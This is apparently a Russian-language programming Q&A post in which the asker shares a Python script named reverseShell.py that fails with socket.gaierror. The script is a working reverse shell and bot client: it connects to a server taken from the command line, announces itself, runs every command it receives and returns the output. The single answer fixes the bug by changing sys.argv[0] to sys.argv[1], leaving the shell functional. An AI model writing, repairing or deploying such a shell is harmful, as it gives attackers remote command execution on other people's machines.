Код на python не работает проблема с socket.gaierror

При запуске этого кода:

import sys 
from subprocess import Popen, PIPE
from socket import *
serverName = sys.argv[0]
serverPort = 8000 
# Создать IPv4(AF_INET), TCP-сокет (Sock_Stream)
clientSocket = socket(AF_INET, SOCK_STREAM) 
clientSocket.connect((serverName , serverPort))
clientSocket.send('Bot reporting for duty'.encode()) 
command = clientSocket.recv(4064).decode()
while command != "exit" :
     proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
     result, err = proc.communicate()
     clientSocket.send(result) 
     command = (clientSocket.recv(4064)).decode()

clientSocket.close()

На 8 строке выдает ошибку:

 File "/home/kali/Desktop/9876/reverseShell.py", line 8, in <module>
    clientSocket.connect((serverName , serverPort))
socket.gaierror: [Errno -2] Name or service not known

Ошибок в коде вроде нету, найти ответ не смог, ума не приложу, что не так.


Ответы (1 шт):

Автор решения: gil9red

В sys.argv[0] путь до текущего файла, т.е. у вас там будет /home/kali/Desktop/9876/reverseShell.py

Думаю, вы передаете имя в аргументе, поэтому должно быть так:

serverName = sys.argv[1]
...
→ Ссылка